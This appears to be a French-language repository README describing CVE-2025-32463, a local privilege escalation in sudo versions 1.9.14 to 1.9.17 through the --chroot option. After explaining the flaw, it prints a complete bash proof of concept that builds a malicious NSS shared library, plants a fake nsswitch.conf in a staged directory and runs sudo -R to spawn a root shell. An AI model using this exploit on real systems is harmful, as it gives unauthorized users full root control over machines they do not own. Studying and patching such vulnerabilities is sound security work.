📌 CVE-2025-32463 — Sudo --chroot Escalade de privilèges locale

ExploitDB ID: 52352

🧠 Aperçu général

Ce dépôt documente une vulnérabilité critique d'escalade de privilèges locale (LPE) affectant les versions Sudo 1.9.14 – 1.9.17.

La vulnérabilité provient d'une implémentation défectueuse de l'option sudo -R (--chroot) et permet à un attaquant d'exécuter des commandes avec les privilèges root, même si cela n'est pas autorisé dans le fichier sudoers.

🔥 Résultat : Un utilisateur non autorisé → shell root

🧩 Composant affecté

• Logiciel: sudo
• Versions affectées :
  • 1.9.14
  • 1.9.15
  • 1.9.16
  • 1.9.17
• Identifiant CVE : CVE-2025-32463
• Plateforme : Linux (notamment les systèmes utilisant NSS)
• Système testé : Kali Rolling 2025

⚙️ Cause technique de la vulnérabilité

Le paramètre --chroot (-R) de Sudo permet à l'utilisateur d'exécuter des commandes dans un répertoire racine qu'il spécifie.

Cependant, en raison d'un changement apporté dans sudo 1.9.14 :

• Le fichier sudoers n'étant pas encore complètement vérifié,
• L'appel chroot() est effectué sur le répertoire spécifié par l'utilisateur

Cette situation permet à un attaquant, via un fichier factice qu'il a créé :

/etc/nsswitch.conf

de charger une bibliothèque NSS malveillante (libnss_*.so) avec les privilèges root.

🧨 Scénario d'attaque (Résumé)

1. Un répertoire temporaire est créé
2. Un faux nsswitch.conf est préparé
3. Une bibliothèque partagée NSS malveillante est compilée
4. L'appel sudo -R <dir> <command> est effectué
5. La bibliothèque NSS est chargée avec les privilèges root
6. Un shell root est obtenu 🚀

🧪 Preuve de concept (PoC)

⚠️ À utiliser uniquement dans des environnements de formation et de test

#!/bin/bash
# sudo-chwoot.sh – PoC for CVE-2025-32463

set -e

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"

cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void woot(void) {
    setreuid(0,0);
    setregid(0,0);
    chdir("/");
    execl("/bin/bash","/bin/bash",NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc

gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

sudo -R woot woot